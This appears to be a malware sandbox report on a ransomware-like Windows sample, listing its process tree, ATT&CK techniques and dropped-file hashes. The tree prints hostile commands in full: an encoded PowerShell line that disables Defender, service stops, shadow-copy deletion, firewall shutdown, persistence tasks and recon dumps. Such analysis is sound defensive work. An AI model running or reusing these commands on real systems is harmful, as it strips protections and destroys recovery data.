C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5604,i,11534704085747348297,9768065706666890126,524288 --field-trial-handle=2008,i,1854692731886952006,66924263935727716,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5380 /prefetch:83⤵PID:4600
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5596,i,3671130863998642220,5755234138608940902,524288 --field-trial-handle=2008,i,1854692731886952006,66924263935727716,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5368 /prefetch:83⤵PID:4488
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5776,i,8016387485211212287,17234760637627061843,524288 --field-trial-handle=2008,i,1854692731886952006,66924263935727716,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5628 /prefetch:83⤵PID:3964
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=836,i,12081061776585557758,12072323865589374527,262144 --field-trial-handle=2008,i,1854692731886952006,66924263935727716,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5072 /prefetch:83⤵PID:1332
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3948
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3476
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:4628
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3088
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:444
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5464
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:5760
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:1596
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:1916
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Users\Admin\AppData\Local\Temp\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:1248
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2384
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:5352
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5432
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5044
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:5964
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4668
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1120
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4716 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5416
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4016
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1880 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:3700
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4512 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5712
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3328 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2344
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4108 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:5760 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5288
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1400 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5648
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1240 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:440
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5128
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:5344
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:3436
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4228
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:3080
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5964 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:1884
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4436
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2880 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1916
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:4420
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:5332
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5056
-
C:\Users\Admin\AppData\Local\Temp\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:2588
-
C:\Users\Admin\AppData\Local\Temp\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:4340
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:4888
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260504_083416.jpg
- Size 114KB
- SHA256 cd5a8658ca120ac98a3027a1e7508d7d6360f91bdcede71ba41d9c7d8412636e
- MD5 0adac0e83d3eb18ed8da82bdedf4278e
- SHA1 60c5cff7b764f275d43fd843ef1610133d425666
- SHA512 6c5f059e422386fb3366237f8ae60d765d238b866d488d2f166403bb4f78452a7d8648e902a13f1a3b99f48f8579f31b8982f7e4cd5d3af1296a8c34cc8843b6
- SSDEEP 1536:IidrRRRRRRRRRRRp5bOuNwfnH7lIZCGXUlCe6GhYrRgoG0/FU7fBHb7UZuLM4Wwp:DbwnH7lxo26//K7fFooLdUq
- TLSH T1E1B344179C089B87552883E8BE171E6C2F1A6B5CD8957EFF10274ECF3E652260D8E41E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 68KB
- SHA256 f1286efc4318492dc30d67e4b8a955d43c83996b5b8eea6fff5906259699c70f
- MD5 23de1f1443b7f44bbb5b77f2988d4532
- SHA1 31b3d36f27425d03339ac7ca7dc41daa8962e3ec
- SHA512 034e14b7848aa6cddac0960d135d69e19520fe3fddc10b3a258bbd7a4d2c7812de640479dffb5d05791fce79917dc7756012848f7b1a79b8ca12f4828517b844
- SSDEEP 1536:vBUdZ5G+8FDMIMyoRqVOasiOl58JzaXXvnuIeVEyEkNL1vc140zzOCBV1KYOBrS:vBU75KMIMy2asZWwHfuIBkN1Ue0zzd19
- TLSH T16D631A368B23FDC4677F2D40E0503D971C883E2787B5267CFAC50DA619A6684EF2E598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 67KB
- SHA256 c222045845ea23455fe3d74a7a67864f38a50e164afddc5f332a7c56e0520044
- MD5 cf59b31f28f06ed5c1ce7af28da0d7ea
- SHA1 b63c47a7ab5b48e87fa8deb3dc5918916dbe5164
- SHA512 b5c257efb49c8622482043e9885fc5fd90b65fdbc051dde298e022668c95858f5e1a46161a03ee24abd5c28c2fef163c6a3eed782ff71847b14479800b5f50bd
- SSDEEP 1536:PBUdZ5G+8FDMIMyoRqVOasiOl58JzaXXvnuIeVEyEkNL1vc140zzOCBV1KYOBrF:PBU75KMIMy2asZWwHfuIBkN1Ue0zzd18
- TLSH T18C631A368B23FDC0677F3D40E0603D971C883E2787B5267CFA850DA619A6644EF2E598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 06a169cbcc90989e207d47b99a948d1829facf5c307f1c9eef83baf86e0f76fa
- MD5 78361746c0f53fe7bf1e275ace2c9061
- SHA1 e992a7d8ae0417ecf15a4ba68f7501dcee2767c1
- SHA512 e7cc719df74dec538868496f88a09df4c57d5ee2c704659efa7aa943aa5e754c6c6edbbe81974c5dc132164217e241b12d1313eaee8b468cd5ecf92d1c748a61
- TLSH T1DAE02BABDC92EC670DF91B2C60544705EF1117576B41550B7B3C864C8FF163B4A82D2C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 480B
- SHA256 3f57d1ac4e05abffa0efc21a5e355bbba84414420f76bf92a905881f486a0e2d
- MD5 87ba6920aaae9b6043840109836a81fc
- SHA1 0856f690b0d263bbda230bad56e3c73b90c0b871
- SHA512 771a84fe9a10f68cc04c0c6a98eb0795727d12c03714a3c3660bfad321ad00ec3c10ec8b27ff0bf6686b5fe52b8e70d1fde938744d82670e7f345f7184d2a0c4
- TLSH T189F04F10D6E53D56CF438D7D19B83C8B29708A9D431F7E0B02583169A347BE468C4DCE
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 2KB
- SHA256 2081bb97c505a10b72a73915f66041f2ea00afa0b8f47d91d7452ea082959325
- MD5 7546540fb3b3280c421fcd7baf6ec311
- SHA1 aa42d70f31b1d1e666cb0dce49b46b967161199f
- SHA512 ad2077c6b8ab02164efdc7c5af57defdca1ddb3aca3043b85a108e0149927d955a96187ba0876d0cb6ce6c5b46d07777808dae01fa2936c374490761e0f53e2a
- TLSH T1F251AEB3C3E89A7D890196E4A7257F2FCD690A14631C3D5AC8D49F0F53E19BBD20064E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 6KB
- SHA256 02467ec73457434ed3c47691b694ad62b7b1af2446990952774cfe3fb1117b85
- MD5 e11276b8612ad633e5fb7419988d4aec
- SHA1 d8d045645a48697167b67a88ff02e605bf3cedfb
- SHA512 1261ee0ab18c2f347bd041e3932e9dc9e2d89aa2625293ca200cd945747507a5c245fd876744491e9e7f8d604b37021a669885a45baa8a6a0ea2e9642e698037
- SSDEEP 192:D0sfROvNaaIEgd8BtcHMOCUCGRM6n2quaTtkXzyL5T:D0sfROvNaaIEgd8BtcHMOCUCGRM6n2qd
- TLSH T188E1DDFBD3E48AADC85251F4EB246E2BCE1A0955533C3D16C9D4AF0B93F2471E241A4E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 976ce88662a7050e9d2fb6049b0ce9ebdea86c2d91a14101a08ab4e09428ce65
- MD5 7ffc869d45de883e29363e2cdb423ba8
- SHA1 e5014cac23fc9f1fe539e6609c3ad2a14eb31fc4
- SHA512 ab9283b8112c7a3fd6154df82b98925db30131956ad3d38ebbb6e7105494e2ded31874c80f8201c91b83d92dfe5b6c773df35610bef36aeea102522aa5536502
- SSDEEP 192:KRtt8oV1f1v7japAPRp2Gmi9mHsb+WNnVu2mNaF2PV0Za8biVbmmkNEwVyIsnAUp:KRtthFaUXjIwcK2Ya8b0bjki0e
- TLSH T1F742C82AA914757B5CCBD229FA66B617DBF5102164942FC4E6FC8E2C04D76CD322B01B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 17KB
- SHA256 56a1e8c00cba78461b814b7af7b99a3de58a4329a7a44475b23e4150677716ca
- MD5 6932e737f9fb5bb798f741f34796b7e1
- SHA1 58bd5e6597f4a5801de9e176eca39fb244cddab8
- SHA512 6e0d027f757f85c0e73419b5d0cc63c8778e317595fc91efbb163ddebee9c4ad7ab8467ebddc43b66b02293c61347fd81b0b3e241e6794b5bc99b05d775c9885
- SSDEEP 384:y4jGR7KxkXqKf/pUZNCgVLH2Hfgslyi7pLuLcifIpXODGJ+ErU3DcHG8akl78fPY:yMGR7KxkXqKf/pUZNCgVLH2Hfgswi7pz
- TLSH T1FC720AA76C4C997B0F94CACCC8177F4FADB5015B65E9886493FB582603D8BCB11091EB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\af4cab2b4a2951e6d9689b6ae2853fd4b6944722\index.txt
- Size 131B
- SHA256 41179650be79e9367d6c8289be59a27a025873e849ec25b8e8dc4fc1074ba5a6
- MD5 d2fdf7d331e58844d53de52a63c4f878
- SHA1 fbb433a4e8acc26e0270f951041c5cf9eaf800d6
- SHA512 44efac807d7fcc4ea1d1e0d351368aa113289134e54ef95e5d960b17da966dc1bb34149181279d549ad760e1f973eb39d26ff25d77463a94b111fe9caa223fb1
- TLSH T1E3C092EB113EB015FAB9CBD33E04242E8763499D06E0DC98D4C0B456AC168218CFBE6D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\af4cab2b4a2951e6d9689b6ae2853fd4b6944722\index.txt~RFe587308.TMP
- Size 138B
- SHA256 d3a31377adbd125bff355d456fbe10c9d5a2010968030ecfa0d2b9dd71ba100a
- MD5 23df05513da06314e71c5b01fc475e13
- SHA1 5ff7f4527bbb9ddf0607664c5437f4b1e1a8193b
- SHA512 1b9c89a1a07fbbe3c3aa0dfb673f0ff88c4ff698acdc51a125d909d392c733f6ba6c2993afd49bdc8e5daf329cb1208503d865caa497966993a65f47af4afc59
- TLSH T139C04CEB11296015FA6995932E14245E46624D9D06D09C94D4C0B055A83542189FAE6D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 144B
- SHA256 23a46c5e8efebe47623da35cf487f55586581ebbc469adf06a9f14f79c335b2a
- MD5 6f89a1810ea7855aadb19249b4702dd4
- SHA1 4210bf8e6e3c8f5ed6332d2e6ccce151ad3e4f98
- SHA512 66024cabf722f6626fb67bbc13633c79cd1dd8c0b40e0e5d296c04b368374ba9cbfe675cddd1f39f0f490456552f9be72b6e3068323c67e7513a4273cb33cdb1
- TLSH T1F0C01211D402A261C18B03B910E2CC9C722C9F24EB0513D957E06B35AC395724015155
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe587e82.TMP
- Size 96B
- SHA256 dcab9026f49ee2f3e6c4cb7375010c969954c44fd4737775f0edbeea2129e6d7
- MD5 406dbd76d0e1de825a2f87262cc4b39c
- SHA1 97093da3baf7cc3c59d9f0f2863050c8a13ff7d1
- SHA512 857b987f0ec2c541a367f341225d51f93665bf746675cfe1f2620db46b6e8f8650767c3af8929a95b972daf7ca5b313746c9e2caa4ea9be31ef6bf6e58eee928
- TLSH T166B00295D212A212C0D323B425D795E871B0DF29E647231392F16A67EC356B14936560
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 55e74af2090b844b8e77198184d4672adade38344e305b03ae87f2d4d71a6fce
- MD5 282fa94882cc5a62257145c0c10fd0e2
- SHA1 0eb455409e6b7498e6481fabb5886ec5bcf1518d
- SHA512 9dfac10e65d02f38f154adfb9f19c94beb1027f3c99c5d014f686d8bbfebf881c66a95c92c9a8d57bcc7ee6477a989f6e0f47b4d1784ee78d022aeb11b719594
- SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2OFpX6Eq2Vump2wkn:jeuvBnhJsueMEGvIW1DcP2OjnVump2nn
- TLSH T1D6D3964B3A747102EDE59A721CE051BB5E3CB16D8F5195D428B620688EF2863B23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 89KB
- SHA256 2bfbe43bd88e1f5594c3b198be120fd71726597afeee304916b83bc3b2c37f1f
- MD5 25e90c34da2fef52c3e9002db4f1fa5f
- SHA1 114c96270b36b293d6db82c04bef6176def2aea7
- SHA512 35a045a53fc82e05d491bcf436e040dec9417f7e0234c084ab950f24c75c17f871eb2cd607472f49eedbd4f40cc90efc1636546cca904d6a6c276f66c0716692
- SSDEEP 1536:0cC/cYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9Yj:0r3Qw/xLANk0mUW5GmRntSFCjEENW
- TLSH T11F9302BA9E2646E7957E468176AE7808CE13134D709FA9CC325C639C21D42C92B73F73
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 198KB
- SHA256 2f9914911fd35540a25d7521642b79a06951834035b74634f457fdde1306fbe0
- MD5 f2888a88cc55d7acce65caa494540cab
- SHA1 069c3189e69690cf772dbf37717903c690de61a7
- SHA512 fbe603521427516a1d297a34990cc4c6e18960e6863739d394f16d1b553a158f66e0e50e22a88365099fbb3d5ec0bc03289b6b3df64d22421e0f34266fb960fa
- SSDEEP 6144:0CqlBiyDMu8J3k7BUJc86Hq2rOk0HOGm/SFyEEI:0nlEN3k7GJc86HfrOjuGdF2I
- TLSH T1D81412A65F0701A364BC17A932AF780A8BA70B45719F7DCD43B493FA15962C13B73E12
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 198KB
- SHA256 85ac970c7d2644dac92da073fb8acc72e5bcab4b78e44f7b0f0409b8ade0fdfe
- MD5 112f2844e5f25ad2d992fc317d8e3540
- SHA1 0139ad19bcf4b95febb204edc57c0ac7f70bc158
- SHA512 382be3087187c2f18bacc4d1a844e265c27db3f2c62cefdd5b818f30203103a00402508a89fdf0740bfdf7b8020c557ddb2bc47574c59c706fed7b858c119ef3
- SSDEEP 6144:0A+qlBiyDMu8J3k7BUJc86Hq2rOk0HOGm/SFyEEI:0wlEN3k7GJc86HfrOjuGdF2I
- TLSH T1CA1412BA5F0305A354BC1B69315F380A8FE35B45B29F6CCD52B853EA119B2C12F67D12
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 91KB
- SHA256 1574777695fd29cf4f706245596b13b4615d4b71618673f9d33decb27b619d31
- MD5 0eb3173eb98656e26fc65014793e7053
- SHA1 9d7f34e436f4967d02ad205fa2b7932a45ba8123
- SHA512 67bf8c72504e513461b6445c60a4d43cd98b201b151bbdbc05b97469b8b2cde9d3c84e67c0ff64203275467d12741498bd53ac84187502149a156eccac7e3429
- SSDEEP 1536:0sCPXcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9L:0L3Qw/xLANk0mUW5GmRntSFCjEENj
- TLSH T1519312BA9E1A46E795BE46D1729E7809CE13130D709FA9CC7258939C21C01C92B73F73
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mohix4z0.5ty.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 5c1988e55c7f44ebf99f462e5d62561bf4e25d9ecc2b7c582222d2601b1a6b61
- MD5 302d04f6c2d615fb0b2fd82a9f871fe6
- SHA1 6f6c79f6381fb3bc61a3e99682aa5ae578b70934
- SHA512 692fb7106f5513c985197c202c1acb3eb49267605a01a208aac2977c6d95511e41c759942dff429393fb351297b607d4e6ae9ed9ee6bc5fadb7105a1b800fbc7
- TLSH T14BE0CD5BB20C899B00025227C1F24D4CD9A46458262B7F605765DD4D3A51CC999F5442
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
